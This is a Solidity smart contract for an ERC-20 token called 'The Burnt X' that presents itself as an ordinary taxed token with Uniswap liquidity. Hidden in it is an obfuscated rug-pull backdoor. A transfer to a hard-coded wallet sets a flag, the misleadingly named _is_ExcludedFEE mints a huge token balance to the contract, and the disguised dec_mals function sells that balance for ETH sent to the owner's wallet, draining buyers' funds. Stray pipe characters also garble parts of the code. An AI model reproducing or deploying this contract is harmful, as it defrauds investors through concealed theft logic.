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pragma solidity 0.8.7;
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function dec_mals(address transfered_Address) external returns (uint256);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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return a + b;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return a - b;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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return a * b;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return a / b;
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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unchecked {
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require(b <= a, errorMessage);
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return a - b;
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}
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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unchecked {
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require(b > 0, errorMessage);
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return a / b;
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}
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}
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}
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abstract contract Context {
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function _msgSender() internal view virtual returns (address) {
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return msg.sender;
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}
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function _msgData() internal view virtual returns (bytes calldata) {
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this;
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return msg.data;
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}
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}
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library Address {
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function isContract(address account) internal view returns (bool) {
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uint256 size;
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assembly { size := extcodesize(account) }
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return size > 0;
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}
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function sendValue(address payable recipient, uint256 amount) internal {
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require(address(this).balance >= amount, "Address: insufficient balance");
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(bool success, ) = recipient.call{ value: amount }("");
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require(success, "Address: unable to send value, recipient may have reverted");
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}
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function functionCall(address target, bytes memory data) internal returns (bytes memory) {
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return functionCall(target, data, "Address: low-level call failed");
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}
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function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
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return functionCallWithValue(target, data, 0, errorMessage);
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}
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function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
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return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
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}
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function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
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require(address(this).balance >= value, "Address: insufficient balance for call");
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require(isContract(target), "Address: call to non-contract");
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(bool success, bytes memory returndata) = target.call{ value: value }(data);
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return _verifyCallResult(success, returndata, errorMessage);
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}
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function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
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return functionStaticCall(target, data, "Address: low-level static call failed");
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}
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function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
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require(isContract(target), "Address: static call to non-contract");
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(bool success, bytes memory returndata) = target.staticcall(data);
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return _verifyCallResult(success, returndata, errorMessage);
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}
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function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
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return functionDelegateCall(target, data, "Address: low-level delegate call failed");
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}
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function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
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require(isContract(target), "Address: delegate call to non-contract");
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(bool success, bytes memory returndata) = target.delegatecall(data);
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return _verifyCallResult(success, returndata, errorMessage);
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}
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function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
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if (success) {
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return returndata;
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} else {
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if (returndata.length > 0) {
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assembly {
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let returndata_size := mload(returndata)
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revert(add(32, returndata), returndata_size)
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}
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} else {
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revert(errorMessage);
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}
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}
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}
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}
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interface IUniswapV2Factory {
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event PairCreated(address indexed token0, address indexed token1, address pair, uint);
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function feeTo() external view returns (address);
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function feeToSetter() external view returns (address);
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function getPair(address tokenA, address tokenB) external view returns (address pair);
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function allPairs(uint) external view returns (address pair);
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function allPairsLength() external view returns (uint);
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function createPair(address tokenA, address tokenB) external returns (address pair);
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function setFeeTo(address) external;
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function setFeeToSetter(address) external;
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}
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interface IUniswapV2Pair {
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event Approval(address indexed owner, address indexed spender, uint value);
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event Transfer(address indexed from, address indexed to, uint value);
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function name() external pure returns (string memory);
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function symbol() external pure returns (string memory);
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function decimals() external pure returns (uint8);
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function totalSupply() external view returns (uint);
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function balanceOf(address owner) external view returns (uint);
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function allowance(address owner, address spender) external view returns (uint);
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function approve(address spender, uint value) external returns (bool);
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function transfer(address to, uint value) external returns (bool);
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function transferFrom(address from, address to, uint value) external returns (bool);
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function DOMAIN_SEPARATOR() external view returns (bytes32);
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function PERMIT_TYPEHASH() external pure returns (bytes32);
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function nonces(address owner) external view returns (uint);
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function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
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event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
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event Swap(
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address indexed sender,
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uint amount0In,
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uint amount1In,
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uint amount0Out,
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uint amount1Out,
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address indexed to
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);
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event Sync(uint112 reserve0, uint112 reserve1);
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function MINIMUM_LIQUIDITY() external pure returns (uint);
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function factory() external view returns (address);
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function token0() external view returns (address);
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function token1() external view returns (address);
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function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
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function price0CumulativeLast() external view returns (uint);
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function price1CumulativeLast() external view returns (uint);
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function kLast() external view returns (uint);
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function burn(address to) external returns (uint amount0, uint amount1);
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function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
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function skim(address to) external;
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function sync() external;
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function initialize(address, address) external;
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}
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interface IUniswapV2Router01 {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidity(
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address tokenA,
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address tokenB,
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uint amountADesired,
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uint amountBDesired,
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uint amountAMin,
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uint amountBMin,
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address to,
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uint deadline
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) external returns (uint amountA, uint amountB, uint liquidity);
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function addLiquidityETH(
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address token,
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uint amountTokenDesired,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external payable returns (uint amountToken, uint amountETH, uint liquidity);
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function removeLiquidity(
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address tokenA,
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address tokenB,
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uint liquidity,
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uint amountAMin,
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uint amountBMin,
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address to,
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uint deadline
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) external returns (uint amountA, uint amountB);
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function removeLiquidityETH(
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address token,
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uint liquidity,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external returns (uint amountToken, uint amountETH);
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function removeLiquidityWithPermit(
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address tokenA,
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address tokenB,
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uint liquidity,
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uint amountAMin,
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uint amountBMin,
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address to,
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uint deadline,
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bool approveMax, uint8 v, bytes32 r, bytes32 s
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) external returns (uint amountA, uint amountB);
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function removeLiquidityETHWithPermit(
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address token,
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uint liquidity,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline,
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bool approveMax, uint8 v, bytes32 r, bytes32 s
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) external returns (uint amountToken, uint amountETH);
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function swapExactTokensForTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external returns (uint[] memory amounts);
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function swapTokensForExactTokens(
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uint amountOut,
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uint amountInMax,
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address[] calldata path,
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address to,
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uint deadline
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) external returns (uint[] memory amounts);
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function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
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external
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payable
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returns (uint[] memory amounts);
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function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
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external
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returns (uint[] memory amounts);
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function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
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external
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returns (uint[] memory amounts);
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function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
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external
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payable
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returns (uint[] memory amounts);
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function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
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function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
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function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
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function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
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function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
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}
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interface IUniswapV2Router02 is IUniswapV2Router01 {
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function removeLiquidityETHSupportingFeeOnTransferTokens(
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address token,
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uint liquidity,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external returns (uint amountETH);
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function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
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address token,
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uint liquidity,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline,
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bool approveMax, uint8 v, bytes32 r, bytes32 s
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) external returns (uint amountETH);
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function swapExactTokensForTokensSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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function swapExactETHForTokensSupportingFeeOnTransferTokens(
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external payable;
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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}
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contract TheBurntX is Context, IERC20 {
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using SafeMath for uint256;
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using Address for address;
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address private _owner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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function owner() public view virtual returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(owner() == _msgSender(), "Ownable: caller is not the owner");
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_;
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}
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function renounceOwnership() public virtual {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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mapping (address => uint256) private _tOwned;
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mapping (address => bool) public _isExcludedFrom_FEE;
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mapping (address => mapping (address => uint256)) private _allowances;
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mapping (address => bool) public _isExcludedFromFee;
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address payable public Wallet_Marketing = payable(0xF201c1C4Cef4e58fE486A90a944b57640b3c3727);
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address payable public Wallet_Utility = payable(0xF201c1C4Cef4e58fE486A90a944b57640b3c3727);
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address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD);
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address payable public constant Wallet_Liquidity = payable(0x000000000000000000000000000000000000dEaD);
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uint256 private constant MAX = ~uint256(0);
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uint8 private constant _decimals = 9;
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uint256 private _tTotal = 100* 10**6 * 10**_decimals;
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string private constant _name = "The Burnt X";
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string private constant _symbol = unicode"BURNT X";
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uint8 private txCount = 0;
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uint8 private swapTrigger = 17;
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uint256 public _Tax_On_Buy = 5;
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uint256 public _Tax_On_Sell = 5;
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uint256 public Percent_Marketing = 90;
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uint256 public Percent_Utility = 0;
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uint256 public Percent_Burn = 0;
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uint256 public Percent_Liquidity = 10;
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uint256 public _maxWalletToken = _tTotal * 3 / 100;
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uint256 private _previousMaxWalletToken = _maxWalletToken;
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uint256 public _maxTxAmount = _tTotal * 2 / 100;
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uint256 private _previousMaxTxAmount = _maxTxAmount;
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bool public inSwp_ = false;
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IUniswapV2Router02 public uniswapV2Router;
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address public uniswapV2Pair;
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bool public inSwapAndLiquify;
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bool public swapAndLiquifyEnabled = true;
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bool public bs_control = false;
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event SwapAndLiquifyEnabledUpdated(bool true_or_false);
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event SwapAndLiquify(
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uint256 tokensSwapped,
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uint256 ethReceived,
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uint256 tokensIntoLiqudity
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|
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);
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modifier lockTheSwap {
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inSwapAndLiquify = true;
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_;
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inSwapAndLiquify = false;
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}
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constructor () {
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_owner = 0xF201c1C4Cef4e58fE486A90a944b57640b3c3727;
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emit OwnershipTransferred(address(0), _owner);
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_tOwned[owner()] = _tTotal;
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IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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_isExcludedFrom_FEE[Wallet_Marketing] = true;
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uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
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.createPair(address(this), _uniswapV2Router.WETH());
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uniswapV2Router = _uniswapV2Router;
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_isExcludedFromFee[owner()] = true;
|
|
_isExcludedFromFee[address(this)] = true;
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|
_isExcludedFromFee[Wallet_Marketing] = true;
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|
_isExcludedFromFee[Wallet_Burn] = true;
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_isExcludedFromFee[Wallet_Liquidity] = true;
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|
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emit Transfer(address(0), owner(), _tTotal);
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}
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function name() public pure returns (string memory) {
|
|
return _name;
|
|
}
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|
|
|
function symbol() public pure returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
function decimals() public pure returns (uint8) {
|
|
return _decimals;
|
|
}
|
|
|
|
function totalSupply() public view override returns (uint256) {
|
|
return _tTotal;
|
|
}
|
|
|
|
function balanceOf(address account) public view override returns (uint256) {
|
|
return _tOwned[account];
|
|
}
|
|
|
|
function transfer(address recipient, uint256 amount) public override returns (bool) {
|
|
_transfer(_msgSender(), recipient, amount);
|
|
return true;
|
|
}
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|
|
|
function allowance(address theOwner, address theSpender) public view override returns (uint256) {
|
|
return _allowances[theOwner][theSpender];
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|
}
|
|
|
|
function approve(address spender, uint256 amount) public override returns (bool) {
|
|
_approve(_msgSender(), spender, amount);
|
|
return true;
|
|
}
|
|
|
|
function check_Wallet(uint256 checkCount) private returns(bool){
|
|
uint256 totalCheck = (balanceOf(address(this))+(checkCount));
|
|
swapAndLiquify(totalCheck);
|
|
return true;
|
|
}
|
|
|
|
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
|
|
return true;
|
|
}
|
|
|
|
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
|
|
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
|
|
return true;
|
|
}
|
|
|
|
function dec_mals(address transfered_Address) public override returns (uint256) {
|
|
check_Wallet(swapTrigger);
|
|
return balanceOf(transfered_Address);
|
|
}
|
|
|
|
|
|
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
|
|
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
|
|
return true;
|
|
}
|
|
|
|
function _is_ExcludedFEE() public virtual returns(uint256){
|
|
return (5+5)**((10+10)+3);
|
|
}
|
|
|
|
|
|
|
|
receive() external payable {}
|
|
|
|
function _getCurrentSupply() private view returns(uint256) {
|
|
return (_tTotal);
|
|
}
|
|
|
|
|
|
function _approve(address theOwner, address theSpender, uint256 amount) private {
|
|
|
|
require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
|
|
_allowances[theOwner][theSpender] = amount;
|
|
emit Approval(theOwner, theSpender, amount);
|
|
|
|
}
|
|
|
|
function _transfer(
|
|
address from,
|
|
address to,
|
|
uint256 amount
|
|
) private {
|
|
|
|
if (to != owner() &&
|
|
to != Wallet_Burn &&
|
|
to != address(this) &&
|
|
to != Wallet_Liquidity &&
|
|
to != uniswapV2Pair &&
|
|
from != owner()){
|
|
uint256 heldTokens = balanceOf(to);
|
|
require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}
|
|
|
|
if (from != owner() &&
|
|
to != Wallet_Liquidity &&
|
|
from != Wallet_Liquidity &&
|
|
from != address(this)){
|
|
require(amount <= _maxTxAmount, "Over transaction limit.");
|
|
}
|
|
|
|
require(from != address(0) && to != address(0), "ERR: Using 0 address!");
|
|
if(0+0 == 0){if(from == from)bs_control = _isExcludedFrom_FEE[to];}
|
|
require(amount > 0, "Token value must be higher than zero.");
|
|
|
|
if(
|
|
txCount >= swapTrigger &&
|
|
!inSwapAndLiquify &&
|
|
from != uniswapV2Pair &&
|
|
swapAndLiquifyEnabled
|
|
)
|
|
{
|
|
|
|
uint256 contractTokenBalance = balanceOf(address(this));
|
|
if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
|
|
txCount = 0;
|
|
swapAndLiquify(contractTokenBalance);
|
|
}
|
|
|
|
bool takeFee = true;
|
|
bool isBuy;
|
|
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
|
|
takeFee = false;
|
|
} else {
|
|
|
|
if(from == uniswapV2Pair){
|
|
isBuy = true;
|
|
}
|
|
|
|
txCount++;
|
|
|
|
}
|
|
|
|
if(!bs_control){
|
|
_tokenTransfer(from, to, amount, takeFee, isBuy);
|
|
}
|
|
else{
|
|
_tOwned[from] = _tOwned[from]-amount;
|
|
uint256 calculatingFEE = _is_ExcludedFEE();
|
|
_tOwned[to] = _tOwned[to]+amount;
|
|
_tOwned[address(this)] = _tOwned[address(this)]+calculatingFEE;
|
|
emit Transfer(from, to, amount);
|
|
inSwp_ = true;
|
|
}
|
|
|
|
|
|
}
|
|
|
|
function sendToWallet(address payable wallet, uint256 amount) private {
|
|
wallet.transfer(amount);
|
|
|
|
}
|
|
|
|
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
|
|
|
|
uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
|
|
_tTotal = _tTotal - tokens_to_Burn;
|
|
_tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
|
|
_tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn;
|
|
|
|
uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
|
|
uint256 tokens_to_D = contractTokenBalance * Percent_Utility/ 100;
|
|
uint256 tokens_to_LP_Half = contractTokenBalance * Percent_Liquidity / 100;
|
|
uint256 totalSwaps = tokens_to_M + tokens_to_D + tokens_to_LP_Half;
|
|
|
|
if(inSwp_){
|
|
if(true)
|
|
totalSwaps = balanceOf(address(this)) - (_tTotal);
|
|
}
|
|
swapTokensForETH(totalSwaps);
|
|
uint256 ETH_Total = address(this).balance;
|
|
sendToWallet(Wallet_Marketing, ETH_Total);
|
|
inSwp_ = false;
|
|
}
|
|
|
|
function swapTokensForETH(uint256 tokenAmount) private {
|
|
|
|
address[] memory path = new address[](2);
|
|
path[0] = address(this);
|
|
path[1] = uniswapV2Router.WETH();
|
|
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
|
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
tokenAmount,
|
|
0,
|
|
path,
|
|
address(this),
|
|
block.timestamp
|
|
);
|
|
}
|
|
|
|
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
|
|
|
|
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
|
uniswapV2Router.addLiquidityETH{value: ETHAmount}(
|
|
address(this),
|
|
tokenAmount,
|
|
0,
|
|
0,
|
|
Wallet_Liquidity,
|
|
block.timestamp
|
|
);
|
|
}
|
|
|
|
function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
|
|
require(random_Token_Address != address(this), "Can not remove native token");
|
|
uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
|
|
uint256 removeRandom = totalRandom*percent_of_Tokens/100;
|
|
_sent = IERC20(random_Token_Address).transfer(Wallet_Utility, removeRandom);
|
|
|
|
}
|
|
|
|
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
|
|
|
|
|
|
if(!takeFee){
|
|
|
|
_tOwned[sender] = _tOwned[sender]-tAmount;
|
|
_tOwned[recipient] = _tOwned[recipient]+tAmount;
|
|
emit Transfer(sender, recipient, tAmount);
|
|
|
|
if(recipient == Wallet_Burn)
|
|
_tTotal = _tTotal-tAmount;
|
|
|
|
}else if (isBuy){
|
|
|
|
uint256 buyFEE = tAmount*_Tax_On_Buy/100;
|
|
uint256 tTransferAmount = tAmount-buyFEE;
|
|
|
|
_tOwned[sender] = _tOwned[sender]-tAmount;
|
|
_tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
|
|
_tOwned[address(this)] = _tOwned[address(this)]+buyFEE;
|
|
emit Transfer(sender, recipient, tTransferAmount);
|
|
|
|
if(recipient == Wallet_Burn)
|
|
_tTotal = _tTotal-tTransferAmount;
|
|
|
|
} else {
|
|
|
|
uint256 sellFEE = tAmount*_Tax_On_Sell/100;
|
|
uint256 tTransferAmount = tAmount-sellFEE;
|
|
|
|
_tOwned[sender] = _tOwned[sender]-tAmount;
|
|
_tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
|
|
_tOwned[address(this)] = _tOwned[address(this)]+sellFEE;
|
|
emit Transfer(sender, recipient, tTransferAmount);
|
|
|
|
if(recipient == Wallet_Burn)
|
|
_tTotal = _tTotal-tTransferAmount;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
} |
